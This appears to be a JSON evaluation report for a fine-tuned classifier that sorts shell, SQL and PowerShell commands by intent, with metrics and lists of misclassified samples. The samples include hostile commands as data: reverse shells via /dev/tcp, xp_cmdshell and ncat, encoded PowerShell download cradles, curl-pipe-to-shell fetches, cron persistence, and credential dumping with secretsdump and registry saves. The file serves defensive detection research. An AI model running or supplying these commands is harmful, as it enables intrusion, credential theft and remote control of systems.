DaveyD347's picture
Add fine-tuned script intent classifier
aae1821 verified
Raw History Blame Contribute Delete
16.6 kB
{
"test": {
"n": 3360,
"accuracy": 0.7803571428571429,
"report": {
"benign": {
"precision": 0.6850828729281768,
"recall": 0.775,
"f1-score": 0.7272727272727273,
"support": 480.0
},
"reconnaissance": {
"precision": 0.7688442211055276,
"recall": 0.6375,
"f1-score": 0.6970387243735763,
"support": 480.0
},
"credential_harvesting": {
"precision": 0.7660044150110376,
"recall": 0.7229166666666667,
"f1-score": 0.7438370846730975,
"support": 480.0
},
"reverse_shell": {
"precision": 0.6861924686192469,
"recall": 0.6833333333333333,
"f1-score": 0.6847599164926931,
"support": 480.0
},
"persistence": {
"precision": 0.7801724137931034,
"recall": 0.7541666666666667,
"f1-score": 0.7669491525423728,
"support": 480.0
},
"download_execute": {
"precision": 0.9027484143763214,
"recall": 0.8895833333333333,
"f1-score": 0.8961175236096537,
"support": 480.0
},
"sql_injection": {
"precision": 0.8711433756805808,
"recall": 1.0,
"f1-score": 0.9311348205625606,
"support": 480.0
},
"accuracy": 0.7803571428571429,
"macro avg": {
"precision": 0.7800268830734278,
"recall": 0.7803571428571429,
"f1-score": 0.7781585642180973,
"support": 3360.0
},
"weighted avg": {
"precision": 0.7800268830734277,
"recall": 0.7803571428571429,
"f1-score": 0.7781585642180974,
"support": 3360.0
}
},
"confusion_matrix": [
[
372,
51,
49,
0,
6,
0,
2
],
[
19,
306,
55,
100,
0,
0,
0
],
[
56,
19,
347,
50,
5,
3,
0
],
[
0,
21,
0,
328,
88,
43,
0
],
[
94,
1,
2,
0,
362,
0,
21
],
[
2,
0,
0,
0,
3,
427,
48
],
[
0,
0,
0,
0,
0,
0,
480
]
],
"binary": {
"false_positive_rate": 0.225,
"detection_rate": 0.940625,
"false_negative_rate": 0.059375
},
"by_language": {
"bash": {
"n": 1362,
"accuracy": 0.6997063142437592
},
"cmd": {
"n": 607,
"accuracy": 0.9192751235584844
},
"powershell": {
"n": 660,
"accuracy": 0.7227272727272728
},
"sql": {
"n": 731,
"accuracy": 0.8673050615595075
}
},
"errors": [
{
"text": "ffuf -u http://192.0.2.77/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "WmIC /NaMeSpace:\\\\roOT\\secuRityCenter2 pAtH antiviruspRodUct Get DisplaynAme",
"label": "reconnaissance",
"pred": "benign"
},
{
"text": "ShaRpCHRome.eXe logIns /unproTect",
"label": "credential_harvesting",
"pred": "benign"
},
{
"text": "sudo chmod 600 /etc/ssl/private/app8.contoso.test.key",
"label": "benign",
"pred": "credential_harvesting"
},
{
"text": "cp /tmp/x17.plist ~/Library/LaunchAgents/com.GoogleUpdateTaskMachine.plist && launchctl load ~/Library/LaunchAgents/com.GoogleUpdateTaskMachine.plist",
"label": "persistence",
"pred": "benign"
},
{
"text": "ffuf -u http://203.0.113.7/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "REg sAvE HKLM\\SECURITY C:\\USERS\\Public\\Sec.Hiv",
"label": "credential_harvesting",
"pred": "benign"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''203.0.113.103'',4444)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "impacket-secretsdump ad.example.org/ubuntu:'Changeme123'@203.0.113.73",
"label": "credential_harvesting",
"pred": "reverse_shell"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''203.0.113.100'',5555)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "cp /tmp/a.plist ~/Library/LaunchAgents/com.dbus-helper.plist && launchctl load ~/Library/LaunchAgents/com.dbus-helper.plist",
"label": "persistence",
"pred": "benign"
},
{
"text": "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 18",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.62'',1337)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.18/443 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "powershell -nop -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAOAAuADUAMQAuADEAMAAwAC4AMwAnACwANAA0ADQANAApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApAA==",
"label": "reverse_shell",
"pred": "download_execute"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.24/53501 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "nmap -Pn -p 21,22,80,443,445,3306,3389 198.51.100.194 -oN x8.txt",
"label": "reconnaissance",
"pred": "reverse_shell"
},
{
"text": "SELECT name FROM customers WHERE name = 'O''Brien';",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "sudo ffuf -u http://203.0.113.7/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "ffuf -u http://203.0.113.136/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/198.51.100.235/8443 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "cmd.exe /c \"wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get displayname\"",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "wMiC /NaMeSpacE:\\\\RooT\\seCuriTyCEnTEr2 paTh ANTIVirUsprOduct get DisplaynamE",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "sudo nmap -Pn -p 21,22,80,443,445,3306,3389 192.0.2.11 -oN sys.txt",
"label": "reconnaissance",
"pred": "reverse_shell"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.121'',4444)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "nmap -Pn -p 21,22,80,443,445,3306,3389 198.51.100.12 -oN tmp30.txt",
"label": "reconnaissance",
"pred": "reverse_shell"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/198.51.100.133/53 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "curl -s http://192.0.2.137/out22 | sh -s -- --silent",
"label": "download_execute",
"pred": "sql_injection"
},
{
"text": "sudo chmod 600 /etc/ssl/private/db8.contoso.test.key",
"label": "benign",
"pred": "credential_harvesting"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.228/8080 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/203.0.113.110/80 0>&1\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "ps aux --sort=-%mem | head -n 39",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "/usr/bin/curl -s http://203.0.113.79/update | sh -s -- --silent",
"label": "download_execute",
"pred": "sql_injection"
},
{
"text": "sudo export PATH=$HOME/.local/bin:$PATH",
"label": "benign",
"pred": "persistence"
},
{
"text": "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMAAuADIALgAxADgANgAvAHQAbQBwADEAMQAuAHAAcwAxACcAKQA=",
"label": "reverse_shell",
"pred": "download_execute"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.220'',8080)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.49'',14506)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "nmap -Pn -p 21,22,80,443,445,3306,3389 192.0.2.56 -oN svc.txt",
"label": "reconnaissance",
"pred": "reverse_shell"
},
{
"text": "ps aux --sort=-%mem | head -n 49",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "cmdkey /list & vaultcmd /listcreds:\"Windows Credentials\" /all",
"label": "credential_harvesting",
"pred": "reconnaissance"
},
{
"text": "ffuf -u http://203.0.113.5/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "curl -s http://203.0.113.250/payload5 | sh -s -- --silent",
"label": "download_execute",
"pred": "sql_injection"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.88'',80)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.4'',8080)\"';",
"label": "reverse_shell",
"pred": "persistence"
},
{
"text": "ps aux --sort=-%mem | head -n 44",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMAAuADIALgAyADEAOQAvAGwAbwBhAGQAZQByADQANgAuAHAAcwAxACcAKQA=",
"label": "reverse_shell",
"pred": "download_execute"
},
{
"text": "impacket-secretsdump internal.test/admin:'Changeme123'@192.0.2.55",
"label": "credential_harvesting",
"pred": "download_execute"
},
{
"text": "ps aux --sort=-%mem | head -n 9",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "ffuf -u http://203.0.113.156/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt",
"label": "reconnaissance",
"pred": "credential_harvesting"
},
{
"text": "impacket-secretsdump internal.test/frank:'Passw0rd1'@203.0.113.210",
"label": "credential_harvesting",
"pred": "reverse_shell"
}
]
},
"challenge": {
"n": 73,
"accuracy": 0.7534246575342466,
"report": {
"benign": {
"precision": 0.6774193548387096,
"recall": 0.9130434782608695,
"f1-score": 0.7777777777777778,
"support": 23.0
},
"reconnaissance": {
"precision": 0.7272727272727273,
"recall": 0.6153846153846154,
"f1-score": 0.6666666666666666,
"support": 13.0
},
"credential_harvesting": {
"precision": 1.0,
"recall": 0.5,
"f1-score": 0.6666666666666666,
"support": 10.0
},
"reverse_shell": {
"precision": 1.0,
"recall": 0.8571428571428571,
"f1-score": 0.9230769230769231,
"support": 7.0
},
"persistence": {
"precision": 0.8,
"recall": 0.5714285714285714,
"f1-score": 0.6666666666666666,
"support": 7.0
},
"download_execute": {
"precision": 0.625,
"recall": 0.7142857142857143,
"f1-score": 0.6666666666666666,
"support": 7.0
},
"sql_injection": {
"precision": 0.8571428571428571,
"recall": 1.0,
"f1-score": 0.9230769230769231,
"support": 6.0
},
"accuracy": 0.7534246575342466,
"macro avg": {
"precision": 0.812404991322042,
"recall": 0.7387550337860898,
"f1-score": 0.7557997557997558,
"support": 73.0
},
"weighted avg": {
"precision": 0.7829184624478482,
"recall": 0.7534246575342466,
"f1-score": 0.7473363774733637,
"support": 73.0
}
},
"confusion_matrix": [
[
21,
1,
0,
0,
0,
1,
0
],
[
4,
8,
0,
0,
1,
0,
0
],
[
3,
1,
5,
0,
0,
0,
1
],
[
0,
0,
0,
6,
0,
1,
0
],
[
2,
0,
0,
0,
4,
1,
0
],
[
1,
1,
0,
0,
0,
5,
0
],
[
0,
0,
0,
0,
0,
0,
6
]
],
"binary": {
"false_positive_rate": 0.08695652173913043,
"detection_rate": 0.8,
"false_negative_rate": 0.2
},
"by_language": {
"bash": {
"n": 35,
"accuracy": 0.6571428571428571
},
"cmd": {
"n": 13,
"accuracy": 0.6153846153846154
},
"http": {
"n": 3,
"accuracy": 1.0
},
"powershell": {
"n": 14,
"accuracy": 0.9285714285714286
},
"sql": {
"n": 8,
"accuracy": 1.0
}
},
"errors": [
{
"text": "curl -fsSL https://deb.nodesource.com/setup_20.x -o nodesource_setup.sh && cat nodesource_setup.sh | less",
"label": "benign",
"pred": "download_execute"
},
{
"text": "ping -t 10.1.1.1",
"label": "benign",
"pred": "reconnaissance"
},
{
"text": "nuclei -u https://intranet.target.example -severity critical,high",
"label": "reconnaissance",
"pred": "benign"
},
{
"text": "ldapdomaindump -u 'CORP\\jdoe' -p 'Spring2025!' 10.20.30.5",
"label": "reconnaissance",
"pred": "persistence"
},
{
"text": "Get-CimInstance Win32_Process | Select-Object Name, CommandLine",
"label": "reconnaissance",
"pred": "benign"
},
{
"text": "net accounts /domain",
"label": "reconnaissance",
"pred": "benign"
},
{
"text": "SharpHound.exe -c All --zipfilename out.zip",
"label": "reconnaissance",
"pred": "benign"
},
{
"text": "grep -rhoE 'AKIA[0-9A-Z]{16}' / 2>/dev/null",
"label": "credential_harvesting",
"pred": "sql_injection"
},
{
"text": "mimipenguin",
"label": "credential_harvesting",
"pred": "benign"
},
{
"text": "cat /etc/NetworkManager/system-connections/* | grep psk=",
"label": "credential_harvesting",
"pred": "benign"
},
{
"text": "trufflehog filesystem / --only-verified",
"label": "credential_harvesting",
"pred": "benign"
},
{
"text": "nxc smb 10.20.30.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee --sam",
"label": "credential_harvesting",
"pred": "reconnaissance"
},
{
"text": "C:\\Windows\\Tasks\\ncat.exe c2.bad.example 443 -e cmd.exe",
"label": "reverse_shell",
"pred": "download_execute"
},
{
"text": "echo '*/2 * * * * root curl -s http://172.16.5.9/x | sh' > /etc/cron.d/0hourly2",
"label": "persistence",
"pred": "download_execute"
},
{
"text": "chmod u+s /bin/bash",
"label": "persistence",
"pred": "benign"
},
{
"text": "systemctl --user enable --now updater.timer",
"label": "persistence",
"pred": "benign"
},
{
"text": "curl -sL https://paste.bad.example/raw/abc123 | python3",
"label": "download_execute",
"pred": "benign"
},
{
"text": "finger loader@172.16.5.9 | more +2 | cmd",
"label": "download_execute",
"pred": "reconnaissance"
}
]
}
}